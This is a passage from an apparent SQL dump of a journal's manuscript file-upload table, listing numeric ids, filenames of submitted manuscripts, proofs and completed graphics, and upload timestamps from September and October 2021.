11:32:43',1,1,0),(24946,10597,'10597-0-Manuscript-2021-09-18.docx',NULL,'2021-09-18 06:20:22',1,1,0),(24947,9472,'9472-574-Manuscript-proof-submission-2021-09-18.rar',NULL,'2021-09-18 07:11:11',1,3,0),(24950,10368,'10368-1395-Manuscript-2021-09-18.docx',NULL,'2021-09-18 08:43:46',1,2,0),(24951,10368,'10368-1612-Manuscript-2021-09-18.docx',NULL,'2021-09-18 08:43:46',1,2,0),(24958,10602,'10602-0-Manuscript-2021-09-19.docx',NULL,'2021-09-19 02:30:54',1,1,0),(25004,10620,'10620-0-Manuscript-2021-09-20.doc',NULL,'2021-09-20 08:07:26',1,1,0),(25014,10628,'10628-0-Manuscript-2021-09-20.docx',NULL,'2021-09-20 09:27:56',1,1,0),(25015,10628,'10628-1-Manuscript-2021-09-20.tif',NULL,'2021-09-20 09:27:56',1,1,0),(25016,10628,'10628-2-Manuscript-2021-09-20.tif',NULL,'2021-09-20 09:27:56',1,1,0),(25017,10628,'10628-3-Manuscript-2021-09-20.tif',NULL,'2021-09-20 09:27:56',1,1,0),(25018,10628,'10628-4-Manuscript-2021-09-20.tif',NULL,'2021-09-20 09:27:56',1,1,0),(25019,10628,'10628-5-Manuscript-2021-09-20.docx',NULL,'2021-09-20 09:27:56',1,1,0),(25020,10628,'10628-6-Manuscript-2021-09-20.docx',NULL,'2021-09-20 09:27:56',1,1,0),(25021,9980,'9980-1057-Manuscript-proof-submission-2021-09-20.docx',NULL,'2021-09-20 10:10:10',1,3,0),(25022,9980,'9980-1640-Manuscript-proof-submission-2021-09-20.docx',NULL,'2021-09-20 10:10:10',1,3,0),(25023,9980,'9980-444-Manuscript-proof-submission-2021-09-20.docx',NULL,'2021-09-20 10:10:10',1,3,0),(25046,10635,'10635-0-Manuscript-2021-09-20.docx',NULL,'2021-09-20 14:22:11',1,1,0),(25076,10368,'10368-1348-Manuscript-proof-submission-2021-09-21.zip',NULL,'2021-09-21 04:54:16',1,3,0),(25081,9980,'9980-Manuscript-2021-09-21-n591-ipaclr-21-9980.rar',NULL,'2021-09-21 05:00:35',1,3,1),(25085,10252,'10252-1517-Manuscript-proof-submission-2021-09-21.rar',NULL,'2021-09-21 05:23:41',1,3,0),(25087,10620,'10620-1286-Manuscript-proof-submission-2021-09-21.zip',NULL,'2021-09-21 06:05:01',1,3,0),(25111,10648,'10648-0-Manuscript-2021-09-21.docx',NULL,'2021-09-21 07:14:27',1,1,0),(25112,10649,'10649-0-Manuscript-2021-09-21.docx',NULL,'2021-09-21 07:17:05',1,1,0),(25140,10665,'10665-0-Manuscript-2021-09-22.docx',NULL,'2021-09-22 03:39:10',1,1,0),(25174,10674,'10674-0-Manuscript-2021-09-22.docx',NULL,'2021-09-22 06:33:18',1,1,0),(25205,9980,'9980-Manuscript-2021-09-22-yjcm.pdf',NULL,'2021-09-22 09:58:58',1,3,1),(25214,10344,'10344-380-Manuscript-proof-submission-2021-09-22.docx',NULL,'2021-09-22 11:40:49',1,3,0),(25215,10344,'10344-964-Manuscript-proof-submission-2021-09-22.PNG',NULL,'2021-09-22 11:40:49',1,3,0),(25216,10344,'10344-355-Manuscript-proof-submission-2021-09-22.PNG',NULL,'2021-09-22 11:40:49',1,3,0),(25217,10344,'10344-455-Manuscript-proof-submission-2021-09-22.PNG',NULL,'2021-09-22 11:40:49',1,3,0),(25218,10344,'10344-1052-Manuscript-proof-submission-2021-09-22.PNG',NULL,'2021-09-22 11:40:49',1,3,0),(25231,10697,'10697-0-Manuscript-2021-09-23.docx',NULL,'2021-09-22 22:09:30',1,1,0),(25232,10697,'10697-1-Manuscript-2021-09-23.docx',NULL,'2021-09-22 22:09:30',1,1,0),(25272,10708,'10708-0-Manuscript-2021-09-23.docx',NULL,'2021-09-23 09:31:19',1,1,0),(25298,10714,'10714-0-Manuscript-2021-09-24.zip',NULL,'2021-09-24 03:57:11',1,1,0),(25368,10730,'10730-0-Manuscript-2021-09-24.docx',NULL,'2021-09-24 11:07:25',1,1,0),(25369,10708,'10708-1606-Manuscript-proof-submission-2021-09-24.docx',NULL,'2021-09-24 11:10:03',1,3,0),(25386,10737,'10737-0-Manuscript-2021-09-25.docx',NULL,'2021-09-24 19:46:39',1,1,0),(25387,10738,'10738-0-Manuscript-2021-09-25.docx',NULL,'2021-09-24 23:19:36',1,1,0),(25422,10746,'10746-0-Manuscript-2021-09-25.docx',NULL,'2021-09-25 06:10:57',1,1,0),(25426,8872,'8872-Manuscript-2021-09-25-1he5-ipaom-21-8872.rar',NULL,'2021-09-25 06:48:13',1,3,1),(25427,10620,'10620-Manuscript-2021-09-25-wsdn-ap-team-revised.rar',NULL,'2021-09-25 06:48:40',1,3,0),(25428,10708,'10708-Manuscript-2021-09-25-bpfl-ap-team-revised.docx',NULL,'2021-09-25 06:49:05',1,3,0),(25446,10252,'10252-Manuscript-2021-09-25-w0bv-ipjnn-21-10252.rar',NULL,'2021-09-25 07:26:58',1,3,1),(25447,10368,'10368-192-Manuscript-2021-09-25.docx',NULL,'2021-09-25 07:28:04',1,1,0),(25451,10368,'10368-Manuscript-2021-09-25-hv2p-ipaom-21-10368.rar',NULL,'2021-09-25 07:31:39',1,3,1),(25467,10763,'10763-0-Manuscript-2021-09-26.docx',NULL,'2021-09-26 06:46:01',1,1,0),(25468,10763,'10763-1-Manuscript-2021-09-26.docx',NULL,'2021-09-26 06:46:01',1,1,1),(25469,10763,'10763-2-Manuscript-2021-09-26.docx',NULL,'2021-09-26 06:46:01',1,1,1),(25470,10763,'10763-3-Manuscript-2021-09-26.jpg',NULL,'2021-09-26 06:46:01',1,1,0),(25471,10763,'10763-4-Manuscript-2021-09-26.jpg',NULL,'2021-09-26 06:46:01',1,1,0),(25472,10763,'10763-5-Manuscript-2021-09-26.jpg',NULL,'2021-09-26 06:46:02',1,1,0),(25473,10763,'10763-6-Manuscript-2021-09-26.jpg',NULL,'2021-09-26 06:46:02',1,1,0),(25486,8571,'8571-Manuscript-2021-09-27-jor0.pdf',NULL,'2021-09-27 05:05:05',1,3,0),(25497,10368,'10368-Manuscript-2021-09-27-nvma-graphic-completed.pdf',NULL,'2021-09-27 06:24:33',1,3,0),(25498,10252,'10252-Manuscript-2021-09-27-wp2f-graphic-completed.pdf',NULL,'2021-09-27 06:33:19',1,3,0),(25507,10368,'10368-Manuscript-2021-09-27-6j7d.pdf',NULL,'2021-09-27 06:58:07',1,3,0),(25509,10768,'10768-0-Manuscript-2021-09-27.docx',NULL,'2021-09-27 07:19:55',1,1,0),(25556,10781,'10781-0-Manuscript-2021-09-28.docx',NULL,'2021-09-27 19:52:15',1,1,0),(25559,10783,'10783-0-Manuscript-2021-09-28.docx',NULL,'2021-09-28 03:31:19',1,1,0),(25571,10138,'10138-2000-Manuscript-proof-submission-2021-09-28.zip',NULL,'2021-09-28 04:35:43',1,3,0),(25585,10138,'10138-Manuscript-2021-09-28-rgxw-move-pdf-making.docx',NULL,'2021-09-28 05:55:13',1,3,0),(25619,10799,'10799-0-Manuscript-2021-09-28.DOCX',NULL,'2021-09-28 09:14:01',1,1,0),(25625,10252,'10252-Manuscript-2021-09-28-h4fm.pdf',NULL,'2021-09-28 09:51:46',1,3,0),(25626,10252,'10252-Manuscript-2021-09-28-n7i8.pdf',NULL,'2021-09-28 09:54:21',1,3,0),(25627,7145,'7145-Manuscript-2021-09-28-8wzc-graphic-completed.pdf',NULL,'2021-09-28 09:54:55',1,3,0),(25628,8872,'8872-Manuscript-2021-09-28-8gv7-graphic-completed.pdf',NULL,'2021-09-28 10:24:30',1,3,0),(25629,10200,'10200-770-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:55:31',1,3,0),(25630,10200,'10200-328-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 10:55:31',1,3,0),(25631,10200,'10200-2021-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:55:32',1,3,0),(25632,10200,'10200-1782-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:55:34',1,3,0),(25633,10200,'10200-688-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 10:55:34',1,3,0),(25634,10200,'10200-514-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:55:34',1,3,0),(25635,10222,'10222-1978-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:58:34',1,3,0),(25636,10222,'10222-1566-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 10:58:34',1,3,0),(25637,10322,'10322-208-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 11:03:24',1,3,0),(25638,10322,'10322-525-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 11:03:24',1,3,0),(25639,10371,'10371-637-Manuscript-proof-submission-2021-09-28.rar',NULL,'2021-09-28 11:11:07',1,3,0),(25640,10371,'10371-773-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 11:11:07',1,3,0),(25641,10371,'10371-622-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 11:11:07',1,3,0),(25642,10802,'10802-0-Manuscript-2021-09-28.docx',NULL,'2021-09-28 11:11:45',1,1,0),(25644,9651,'9651-1376-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 11:24:25',1,3,0),(25645,9651,'9651-1596-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 11:24:25',1,3,0),(25646,9815,'9815-1635-Manuscript-proof-submission-2021-09-28.pdf',NULL,'2021-09-28 11:25:07',1,3,0),(25647,9815,'9815-1387-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 11:25:07',1,3,0),(25648,9815,'9815-117-Manuscript-proof-submission-2021-09-28.docx',NULL,'2021-09-28 11:25:07',1,3,0),(25651,10620,'10620-Manuscript-2021-09-28-wx9i-graphic-completed.pdf',NULL,'2021-09-28 11:45:08',1,3,0),(25654,10708,'10708-Manuscript-2021-09-28-vnor-graphic-completed.pdf',NULL,'2021-09-28 11:56:18',1,3,0),(25659,9772,'9772-Manuscript-2021-09-28-z0cn.pdf',NULL,'2021-09-28 12:29:39',1,3,0),(25675,10809,'10809-0-Manuscript-2021-09-29.docx',NULL,'2021-09-29 04:48:52',1,1,0),(25682,10813,'10813-0-Manuscript-2021-09-29.docx',NULL,'2021-09-29 06:37:24',1,1,0),(25686,8634,'8634-1156-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 07:35:29',1,3,0),(25687,8634,'8634-450-Manuscript-proof-submission-2021-09-29.pdf',NULL,'2021-09-29 07:35:29',1,3,0),(25688,9650,'9650-1774-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 07:38:59',1,3,0),(25689,9650,'9650-1289-Manuscript-proof-submission-2021-09-29.pdf',NULL,'2021-09-29 07:38:59',1,3,0),(25694,10815,'10815-0-Manuscript-2021-09-29.docx',NULL,'2021-09-29 08:01:38',1,1,0),(25700,10816,'10816-0-Manuscript-2021-09-29.docx',NULL,'2021-09-29 08:50:46',1,1,0),(25712,10822,'10822-0-Manuscript-2021-09-29.docx',NULL,'2021-09-29 10:03:42',1,1,0),(25719,10252,'10252-Manuscript-2021-09-29-akpf-graphic-completed.pdf',NULL,'2021-09-29 11:12:11',1,3,0),(25724,10222,'10222-Manuscript-2021-09-29-zdeu-iphspr-21-10222.docx',NULL,'2021-09-29 11:19:44',1,3,0),(25728,10322,'10322-Manuscript-2021-09-29-89jc-iphspr-21-10322.docx',NULL,'2021-09-29 11:23:06',1,3,0),(25730,8634,'8634-Manuscript-2021-09-29-hmlr-iphspr-21-8634.docx',NULL,'2021-09-29 11:32:56',1,3,0),(25732,9650,'9650-Manuscript-2021-09-29-cunl-iphspr-21-9650.docx',NULL,'2021-09-29 11:35:11',1,3,0),(25733,10252,'10252-Manuscript-2021-09-29-f4vs.pdf',NULL,'2021-09-29 11:43:44',1,3,0),(25739,10138,'10138-Manuscript-2021-09-29-cpb8-move-pdf-making.docx',NULL,'2021-09-29 12:06:22',1,3,0),(25740,10138,'10138-Manuscript-2021-09-29-4rwz-move-pdf-making.docx',NULL,'2021-09-29 12:06:44',1,3,0),(25748,10371,'10371-1114-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:02',1,3,0),(25749,10371,'10371-858-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:02',1,3,0),(25750,10371,'10371-821-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:02',1,3,0),(25751,10371,'10371-1519-Manuscript-proof-submission-2021-09-29.pdf',NULL,'2021-09-29 12:44:02',1,3,0),(25752,10371,'10371-241-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:03',1,3,0),(25753,10371,'10371-1149-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:04',1,3,0),(25754,10371,'10371-1649-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:04',1,3,0),(25755,10371,'10371-866-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:04',1,3,0),(25756,10371,'10371-874-Manuscript-proof-submission-2021-09-29.pdf',NULL,'2021-09-29 12:44:04',1,3,0),(25757,10371,'10371-929-Manuscript-proof-submission-2021-09-29.docx',NULL,'2021-09-29 12:44:04',1,3,0),(25759,10836,'10836-0-Manuscript-2021-09-30.pptx',NULL,'2021-09-29 21:46:02',1,1,0),(25761,10838,'10838-0-Manuscript-2021-09-30.docx',NULL,'2021-09-29 22:42:33',1,1,0),(25762,10838,'10838-1-Manuscript-2021-09-30.docx',NULL,'2021-09-29 22:42:33',1,1,0),(25763,10838,'10838-2-Manuscript-2021-09-30.docx',NULL,'2021-09-29 22:42:33',1,1,0),(25772,8872,'8872-Manuscript-2021-09-30-nqyd.pdf',NULL,'2021-09-30 04:57:11',1,3,0),(25773,10620,'10620-Manuscript-2021-09-30-u48e.pdf',NULL,'2021-09-30 04:57:41',1,3,0),(25774,10708,'10708-Manuscript-2021-09-30-h7lm.pdf',NULL,'2021-09-30 04:58:18',1,3,0),(25781,10840,'10840-0-Manuscript-2021-09-30.doc',NULL,'2021-09-30 05:33:36',1,1,0),(25783,10138,'10138-Manuscript-2021-09-30-i8xy-move-pdf-making.docx',NULL,'2021-09-30 06:12:51',1,3,0),(25787,10138,'10138-Manuscript-2021-09-30-lrxa-move-pdf-making.docx',NULL,'2021-09-30 06:25:39',1,3,0),(25800,10222,'10222-Manuscript-2021-09-30-oash-rsuite-completed.pdf',NULL,'2021-09-30 07:18:36',1,3,0),(25815,10138,'10138-Manuscript-2021-09-30-g7yl-rsuite-completed.pdf',NULL,'2021-09-30 08:10:40',1,3,0),(25820,8872,'8872-Manuscript-2021-09-30-hc6e-ap-ame-revised.pdf',NULL,'2021-09-30 09:58:38',1,3,0),(25821,10620,'10620-Manuscript-2021-09-30-of7d-ap-ame-revised.pdf',NULL,'2021-09-30 09:59:22',1,3,0),(25822,10708,'10708-Manuscript-2021-09-30-kml5-ap-ame-revised.pdf',NULL,'2021-09-30 09:59:49',1,3,0),(25831,8872,'8872-Manuscript-2021-09-30-m1vj.pdf',NULL,'2021-09-30 10:35:53',1,3,0),(25832,10620,'10620-Manuscript-2021-09-30-h89d.pdf',NULL,'2021-09-30 10:36:22',1,3,0),(25833,10708,'10708-Manuscript-2021-09-30-b8rs.pdf',NULL,'2021-09-30 10:36:49',1,3,0),(25845,10859,'10859-0-Manuscript-2021-09-30.docx',NULL,'2021-09-30 12:17:37',1,1,0),(25858,10865,'10865-0-Manuscript-2021-10-01.pdf',NULL,'2021-09-30 19:13:49',1,1,0),(25862,10344,'10344-Manuscript-2021-10-01-3ql2-iptb-21-10344.rar',NULL,'2021-10-01 04:48:56',1,3,0),(25863,10648,'10648-1349-Manuscript-proof-submission-2021-10-01.pdf',NULL,'2021-10-01 05:40:40',1,3,0),(25864,10648,'10648-1656-Manuscript-proof-submission-2021-10-01.pdf',NULL,'2021-10-01 05:40:41',1,3,0),(25865,10648,'10648-1503-Manuscript-proof-submission-2021-10-01.pdf',NULL,'2021-10-01 05:40:43',1,3,0),(25873,10649,'10649-1565-Manuscript-proof-submission-2021-10-01.pdf',NULL,'2021-10-01 05:52:20',1,3,0),(25874,10466,'10466-766-Manuscript-proof-submission-2021-10-01.docx',NULL,'2021-10-01 05:56:43',1,3,0),(25875,10466,'10466-159-Manuscript-proof-submission-2021-10-01.docx',NULL,'2021-10-01 05:56:44',1,3,0),(25883,10413,'10413-1758-Manuscript-proof-submission-2021-10-01.rar',NULL,'2021-10-01 06:35:52',1,3,0),(25899,10871,'10871-0-Manuscript-2021-10-01.docx',NULL,'2021-10-01 09:48:07',1,1,0),(25900,10344,'10344-Manuscript-2021-10-01-7sw6-graphic-completed.pdf',NULL,'2021-10-01 10:19:18',1,3,0),(25901,10872,'10872-0-Manuscript-2021-10-01.jpg',NULL,'2021-10-01 11:20:51',1,1,0),(25902,10344,'10344-Manuscript-2021-10-01-zkdq.pdf',NULL,'2021-10-01 11:38:45',1,3,0),(25903,10873,'10873-0-Manuscript-2021-10-01.pdf',NULL,'2021-10-01 11:56:30',1,1,0),(25912,10263,'10263-Manuscript-2021-10-01-ye5u-iphsj-21-10263.rar',NULL,'2021-10-01 12:23:07',1,3,1),(25913,10413,'10413-Manuscript-2021-10-01-2v7d-ap-team-revised.rar',NULL,'2021-10-01 12:26:29',1,3,1),(25931,10881,'10881-0-Manuscript-2021-10-02.docx',NULL,'2021-10-01 22:15:38',1,1,0),(25932,10882,'10882-0-Manuscript-2021-10-02.docx',NULL,'2021-10-02 02:10:53',1,1,0),(25945,10887,'10887-0-Manuscript-2021-10-04.docx',NULL,'2021-10-04 02:11:21',1,1,0),(26003,9285,'9285-1119-Manuscript-proof-submission-2021-10-04.rar',NULL,'2021-10-04 05:45:48',1,3,0),(26033,9285,'9285-Manuscript-2021-10-04-a38h-ipjnn-21-9285.rar',NULL,'2021-10-04 08:12:35',1,3,1),(26042,10524,'10524-360-Manuscript-proof-submission-2021-10-04.docx',NULL,'2021-10-04 08:39:45',1,3,0),(26043,10524,'10524-42-Manuscript-proof-submission-2021-10-04.docx',NULL,'2021-10-04 08:39:45',1,3,0),(26044,10524,'10524-1487-Manuscript-proof-submission-2021-10-04.docx',NULL,'2021-10-04 08:39:45',1,3,0),(26045,10524,'10524-415-Manuscript-proof-submission-2021-10-04.docx',NULL,'2021-10-04 08:39:45',1,3,0),(26047,10414,'10414-1609-Manuscript-proof-submission-2021-10-04.rar',NULL,'2021-10-04 08:43:48',1,3,0),(26064,10925,'10925-0-Manuscript-2021-10-04.docx',NULL,'2021-10-04 10:57:24',1,1,0),(26066,9235,'9235-398-Manuscript-2021-10-04.docx',NULL,'2021-10-04 11:09:53',1,1,0),(26067,9235,'9235-189-Manuscript-2021-10-04.docx',NULL,'2021-10-04 11:09:55',1,1,0),(26068,9235,'9235-1846-Manuscript-proof-submission-2021-10-04.rar',NULL,'2021-10-04 11:13:20',1,3,0),(26071,9096,'9096-1021-Manuscript-proof-submission-2021-10-04.docx',NULL,'2021-10-04 11:34:30',1,3,0),(26073,10350,'10350-1112-Manuscript-proof-submission-2021-10-04.rar',NULL,'2021-10-04 11:49:47',1,3,0),(26076,10200,'10200-Manuscript-2021-10-04-50s8-iphspr-21-10200.zip',NULL,'2021-10-04 12:01:45',1,3,0),(26077,9235,'9235-Manuscript-2021-10-04-6bmq-ipadm-21-9235.rar',NULL,'2021-10-04 12:02:17',1,3,1),(26079,9096,'9096-Manuscript-2021-10-04-8072-ipjnn-21-9096.docx',NULL,'2021-10-04 12:15:42',1,3,1),(26086,10930,'10930-0-Manuscript-2021-10-05.pdf',NULL,'2021-10-05 04:07:45',1,1,0),(26091,10350,'10350-Manuscript-2021-10-05-wmch-iphsj-21-10350.rar',NULL,'2021-10-05 04:43:24',1,3,0),(26113,8170,'8170-Manuscript-2021-10-05-97o2-ipaclr-21-8170.rar',NULL,'2021-10-05 05:27:37',1,3,0),(26116,10524,'10524-Manuscript-2021-10-05-6uwg-ap-team-revised.rar',NULL,'2021-10-05 05:28:32',1,3,1),(26117,10470,'10470-174-Manuscript-proof-submission-2021-10-05.rar',NULL,'2021-10-05 05:30:40',1,3,0),(26155,10628,'10628-161-Manuscript-proof-submission-2021-10-05.rar',NULL,'2021-10-05 08:46:34',1,3,0),(26171,10351,'10351-786-Manuscript-proof-submission-2021-10-05.rar',NULL,'2021-10-05 10:01:14',1,3,0),(26174,10350,'10350-911-Manuscript-proof-submission-2021-10-05.rar',NULL,'2021-10-05 10:03:59',1,3,0),(26175,10350,'10350-1144-Manuscript-proof-submission-2021-10-05.rar',NULL,'2021-10-05 10:04:00',1,3,0),(26177,10414,'10414-Manuscript-2021-10-05-x79m-ap-team-revised.rar',NULL,'2021-10-05 10:11:23',1,3,1),(26178,10350,'10350-Manuscript-2021-10-05-9gpn-iphsj-21-10350.rar',NULL,'2021-10-05 10:13:11',1,3,1),(26203,10524,'10524-Manuscript-2021-10-05-chwg-graphic-completed.pdf',NULL,'2021-10-05 11:33:58',1,3,1),(26204,10055,'10055-1147-Manuscript-proof-submission-2021-10-05.docx',NULL,'2021-10-05 11:39:45',1,3,0),(26205,10055,'10055-1065-Manuscript-proof-submission-2021-10-05.docx',NULL,'2021-10-05 11:39:45',1,3,0),(26206,10055,'10055-1069-Manuscript-proof-submission-2021-10-05.docx',NULL,'2021-10-05 11:39:45',1,3,0),(26210,10470,'10470-Manuscript-2021-10-05-mtyg-ap-team-revised.rar',NULL,'2021-10-05 12:06:26',1,3,1),(26211,10628,'10628-Manuscript-2021-10-05-3nr5-ap-team-revised.rar',NULL,'2021-10-05 12:06:57',1,3,1),(26212,10265,'10265-145-Manuscript-proof-submission-2021-10-05.zip',NULL,'2021-10-05 12:09:36',1,3,0),(26217,9235,'9235-Manuscript-2021-10-05-jxno-graphic-completed.pdf',NULL,'2021-10-05 13:37:25',1,3,1),(26251,10055,'10055-Manuscript-2021-10-06-r738-ipaclr-21-10055.rar',NULL,'2021-10-06 05:52:31',1,3,1),(26254,9096,'9096-Manuscript-2021-10-06-4zgo-graphic-completed.pdf',NULL,'2021-10-06 06:04:16',1,3,0),(26256,9285,'9285-Manuscript-2021-10-06-erk4-graphic-completed.pdf',NULL,'2021-10-06 06:29:52',1,3,0),(26264,10470,'10470-Manuscript-2021-10-06-ic9h-graphic-completed.pdf',NULL,'2021-10-06 06:55:27',1,3,0),(26269,10665,'10665-1713-Manuscript-proof-submission-2021-10-06.rar',NULL,'2021-10-06 07:57:08',1,3,0),(26272,10970,'10970-0-Manuscript-2021-10-06.docx',NULL,'2021-10-06 08:26:14',1,1,0),(26278,10628,'10628-Manuscript-2021-10-06-isxh-graphic-completed.pdf',NULL,'2021-10-06 08:38:10',1,3,0),(26283,10138,'10138-Manuscript-2021-10-06-k23n.pdf',NULL,'2021-10-06 10:00:33',1,3,0),(26287,10975,'10975-0-Manuscript-2021-10-06.docx',NULL,'2021-10-06 10:58:02',1,1,0),(26295,9639,'9639-1585-Manuscript-proof-submission-2021-10-06.zip',NULL,'2021-10-06 13:17:51',1,3,0),(26296,10979,'10979-0-Manuscript-2021-10-06.pdf',NULL,'2021-10-06 15:31:43',1,1,0),(26297,10980,'10980-0-Manuscript-2021-10-06.doc',NULL,'2021-10-06 16:28:18',1,1,0),(26305,9096,'9096-Manuscript-2021-10-07-r5h1.pdf',NULL,'2021-10-07 04:48:19',1,3,0),(26306,9285,'9285-Manuscript-2021-10-07-6osy.pdf',NULL,'2021-10-07 04:48:53',1,3,0),(26307,10470,'10470-Manuscript-2021-10-07-0its.pdf',NULL,'2021-10-07 04:49:45',1,3,0),(26308,10628,'10628-Manuscript-2021-10-07-bzio.pdf',NULL,'2021-10-07 04:50:15',1,3,0),(26325,9639,'9639-Manuscript-2021-10-07-bry6-ipadm-21-9639.rar',NULL,'2021-10-07 05:52:08',1,3,1),(26331,10994,'10994-0-Manuscript-2021-10-07.docx',NULL,'2021-10-07 06:35:22',1,1,0),(26333,10996,'10996-0-Manuscript-2021-10-07.docx',NULL,'2021-10-07 07:08:58',1,1,0),(26336,9096,'9096-Manuscript-2021-10-07-u8bj-ap-ame-revised.pdf',NULL,'2021-10-07 07:44:03',1,3,0),(26337,9285,'9285-Manuscript-2021-10-07-4y5s-ap-ame-revised.pdf',NULL,'2021-10-07 07:44:25',1,3,0),(26338,10470,'10470-Manuscript-2021-10-07-dz1f-ap-ame-revised.pdf',NULL,'2021-10-07 07:44:51',1,3,0),(26339,10628,'10628-Manuscript-2021-10-07-9k4e-ap-ame-revised.pdf',NULL,'2021-10-07 07:45:14',1,3,0),(26340,9096,'9096-Manuscript-2021-10-07-gfbn.pdf',NULL,'2021-10-07 08:03:27',1,3,0),(26341,9285,'9285-Manuscript-2021-10-07-anom.pdf',NULL,'2021-10-07 08:03:55',1,3,0),(26342,10470,'10470-Manuscript-2021-10-07-fh80.pdf',NULL,'2021-10-07 08:04:25',1,3,0),(26343,10628,'10628-Manuscript-2021-10-07-0rxi.pdf',NULL,'2021-10-07 08:04:54',1,3,0),(26345,10409,'10409-273-Manuscript-proof-submission-2021-10-07.rar',NULL,'2021-10-07 08:36:33',1,3,0),(26358,10263,'10263-Manuscript-2021-10-07-6we9-graphic-completed.pdf',NULL,'2021-10-07 10:33:30',1,3,1),(26359,10350,'10350-Manuscript-2021-10-07-qry8-graphic-completed.pdf',NULL,'2021-10-07 10:33:42',1,3,1),(26360,10413,'10413-Manuscript-2021-10-07-5jfn-graphic-completed.pdf',NULL,'2021-10-07 10:33:56',1,3,1),(26361,10414,'10414-Manuscript-2021-10-07-ubx4-graphic-completed.pdf',NULL,'2021-10-07 10:34:08',1,3,1),(26367,10234,'10234-1979-Manuscript-proof-submission-2021-10-07.docx',NULL,'2021-10-07 10:57:51',1,3,0),(26368,10234,'10234-666-Manuscript-proof-submission-2021-10-07.docx',NULL,'2021-10-07 10:57:51',1,3,0),(26369,10234,'10234-899-Manuscript-proof-submission-2021-10-07.docx',NULL,'2021-10-07 10:57:51',1,3,0),(26397,11008,'11008-0-Manuscript-2021-10-08.docx',NULL,'2021-10-08 04:37:38',1,1,0),(26433,10119,'10119-1972-Manuscript-proof-submission-2021-10-08.docx',NULL,'2021-10-08 08:31:28',1,3,0),(26434,10150,'10150-1151-Manuscript-proof-submission-2021-10-08.docx',NULL,'2021-10-08 08:31:46',1,3,0),(26435,10149,'10149-1937-Manuscript-proof-submission-2021-10-08.docx',NULL,'2021-10-08 08:32:01',1,3,0),(26436,11025,'11025-0-Manuscript-2021-10-08.docx',NULL,'2021-10-08 08:35:07',1,1,0),(26444,11030,'11030-0-Manuscript-2021-10-08.docx',NULL,'2021-10-08 11:33:40',1,1,0),(26446,10144,'10144-1011-Manuscript-proof-submission-2021-10-08.rar',NULL,'2021-10-08 11:54:23',1,3,0),(26447,10665,'10665-Manuscript-2021-10-08-mby5-ap-team-revised.rar',NULL,'2021-10-08 12:14:32',1,3,1),(26448,10351,'10351-Manuscript-2021-10-08-tzwv-iphsj-21-10351.rar',NULL,'2021-10-08 12:15:25',1,3,1),(26449,10409,'10409-Manuscript-2021-10-08-o1uh-iphsj-21-10409.rar',NULL,'2021-10-08 12:16:20',1,3,0),(26450,10665,'10665-Manuscript-2021-10-08-l8ys-graphic-completed.pdf',NULL,'2021-10-08 13:09:06',1,3,1),(26451,11031,'11031-0-Manuscript-2021-10-09.docx',NULL,'2021-10-08 22:26:53',1,1,0),(26466,11038,'11038-0-Manuscript-2021-10-11.docx',NULL,'2021-10-10 19:13:41',1,1,0),(26468,11040,'11040-0-Manuscript-2021-10-11.docx',NULL,'2021-10-10 23:48:46',1,1,0),(26477,10055,'10055-Manuscript-2021-10-11-xk2h-graphic-completed.pdf',NULL,'2021-10-11 05:07:49',1,3,1),(26499,11049,'11049-0-Manuscript-2021-10-11.pdf',NULL,'2021-10-11 09:00:18',1,1,0),(26507,10409,'10409-Manuscript-2021-10-11-udyc-graphic-completed.pdf',NULL,'2021-10-11 10:14:41',1,3,0),(26526,3562,'3562-2000-Manuscript-proof-submission-2021-10-11.rar',NULL,'2021-10-11 11:58:14',1,3,0),(26529,11057,'11057-0-Manuscript-2021-10-11.docx',NULL,'2021-10-11 17:48:22',1,1,0),(26530,11057,'11057-1-Manuscript-2021-10-11.docx',NULL,'2021-10-11 17:48:22',1,1,0),(26537,10144,'10144-Manuscript-2021-10-12-p1v6-iphsj-21-10144.rar',NULL,'2021-10-12 04:33:53',1,3,1),(26538,10802,'10802-678-Manuscript-proof-submission-2021-10-12.docx',NULL,'2021-10-12 04:50:24',1,3,0),(26539,10674,'10674-1554-Manuscript-proof-submission-2021-10-12.docx',NULL,'2021-10-12 04:51:39',1,3,0),(26540,10505,'10505-1107-Manuscript-proof-submission-2021-10-12.doc',NULL,'2021-10-12 04:52:39',1,3,0),(26541,10437,'10437-72-Manuscript-proof-submission-2021-10-12.docx',NULL,'2021-10-12 04:54:30',1,3,0),(26542,10400,'10400-1220-Manuscript-proof-submission-2021-10-12.docx',NULL,'2021-10-12 04:54:52',1,3,0),(26563,10040,'10040-Manuscript-2021-10-12-5nar-graphic-completed.pdf',NULL,'2021-10-12 06:25:49',1,3,0),(26564,9770,'9770-Manuscript-2021-10-12-nirg-graphic-completed.pdf',NULL,'2021-10-12 06:26:16',1,3,0),(26572,10143,'10143-918-Manuscript-proof-submission-2021-10-12.zip',NULL,'2021-10-12 07:21:53',1,3,0),(26573,10139,'10139-1320-Manuscript-proof-submission-2021-10-12.zip',NULL,'2021-10-12 08:03:38',1,3,0),(26577,8441,'8441-Manuscript-2021-10-12-mwt9-move-pdf-making.pdf',NULL,'2021-10-12 